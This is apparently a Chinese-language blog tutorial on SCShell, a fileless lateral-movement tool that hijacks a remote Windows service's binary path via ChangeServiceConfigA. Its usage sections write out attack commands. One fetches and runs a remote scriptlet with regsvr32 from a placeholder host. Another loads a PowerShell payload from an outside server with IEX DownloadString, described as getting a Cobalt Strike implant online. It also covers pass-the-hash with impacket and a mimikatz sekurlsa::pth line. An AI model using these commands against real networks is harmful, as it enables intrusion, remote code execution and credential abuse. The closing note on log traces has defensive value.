1.简单介绍
SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。支持py和exe两种文件类型。
该实用程序可以在不注册服务或创建服务的情况下远程使用。它也不必在远程系统上删除任何文件*(取决于用于执行的技术)
一切都通过DCERPC执行。执行完成后,服务二进制路径将还原为原始路径
2.技术细节
首先,它创建身份验证,这个工具是使用LogonUserA API和ImpersonateLoggedOnUserA实现的。
一旦进程获取了正确的身份验证,即可使用OpenSCManagerA远程打开目标主机上Service Manager
使用OpenServiceA API打开远程服务并抛出错误
往下看是通过调用ChangeServiceConfigA API可以实现代码执行的效果。
通过查看微软文档我们可以知道API的第五个参数是用于启动服务的二进制路径
代码语言:javascript复制BOOL ChangeServiceConfig(
SC_HANDLE hService // 打开服务时返回的句柄
DWORD dwServiceType, // 服务的类型
DWORD dwStartType, // 何时启动服务
DWORD dwErrorControl, // 错误控制代码
LPCTSTR lpBinaryPathName, // 服务的路径
LPCTSTR lpLoadOrderGroup, // 服务所属的组
LPDWORD lpdwTagId, // 服务的标记
LPCTSTR lpDependencies, // 依赖的其它服务和组
LPCTSTR lpServiceStartName,// 服务的启动用户
LPCTSTR lpPassword, //服务启动用户的密码
LPCTSTR lpDisplayName // 服务的显示名
);
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfiga
所以作者在第5个参数设置了个payload值,也就是给我们输入的值。这个路径的是绝对路径,这里不多说,可以参考微软的文档。
那么上面的代码就是调用ChangeServiceConfigA来将二进制路径名设置为我们提供的有效负载(就是执行我们的lpBinaryPathName中的值,)
可利用点就是在这个位置,原理不难理解,就是ChangeServiceConfigA API中的lpBinaryPathName的值可控。
例如调用powershell来远程加载木马或执行命令等等。
最后就是通过StartServiceA启动服务。
代码不难理解。
3.利用手法
作者给出的利用工具有包含exe,py和一个c语言的源码,其中exe和py能实现的功能并不一样。其实我个人觉得exe和py并不是很好用,所以powershell进行远程加载利用的话,我们就不用上传一个exe上去。后面花点时间写出来吧。
1. Windows 使用
Scshell需要以下参数:目标,服务,有效负载,用户名,账号,密码:
代码语言:javascript复制1.SCShell.exe 192.168.197.131XblAuthManager"C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll". administrastor Password
# XblAuthManager 是 Xbox Accessory Management Service的服务名
例子:
我们使用这种手法来在目标主机中写入一个txt来证明可以利用
在win中
代码语言:javascript复制scshell.exe 10.10.10.10 defragsvc "C:windowssystem32cmd.exe /c echo ' hello' > c:windowstemplat2.txt" . administrator 1qaz@wsx
在目标机器中我们可以看到写入一个txt
在cobalt Strike中
代码语言:javascript复制shell .scshell.exe 10.10.10.10 defragsvc "C:windowssystem32cmd.exe /c echo ' hello' > c:windowstemplat2.txt" . administrator 1qaz@wsx
2. Linux 安装使用(使用py脚本可以使用散列传递来执行相同的横向移动。)
代码语言:javascript复制1.pip install impacket
2.git clone https://github.com/Mr-Un1k0d3r/SCShell
3.cd https://github.com/Mr-Un1k0d3r/SCShell
4.python scshell.py ./administrator:cxzcxz@192.168.52.133# 执行cmd模式,没有命令回显
5.python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash验证
注意:无论是使用exe还是py脚本都是没有回显的。
3.可以使用该C程序传递哈希值。
有时情况下,将使用当前进程令牌。您可以使用标准传递哈希方法设置当前流程令牌。
在本地系统上
代码语言:javascript复制sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
然后在新创建的cmd.exe中运行SCShell.exe进行横向。
上面我们使用的是XblAuthManager,其实我们还可以使用defragsvc,msbuild等等
4.实战思路
这个不用多说了吧,简单就是远程调用powershell远程加载ps1上线,或执行一些命令。
代码语言:javascript复制shell scshell.exe 10.10.10.10 defragsvc "C:windowssystem32cmd.exe /c powershell.exe IEX(New-Object Net.WebClinet).DownloadString('http://192.168.50.146:8000/123.ps1')" . administrator 1qaz@wsx
然后还有就是exe的话需要我们有目标主机的明文密码,但是,明文密码不好拿到,所以还是使用py脚本来传输hash进行横向好,当然后面我也会写一个powershell的出来。
从原理出发,举一反三就好
5.日志痕迹
使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息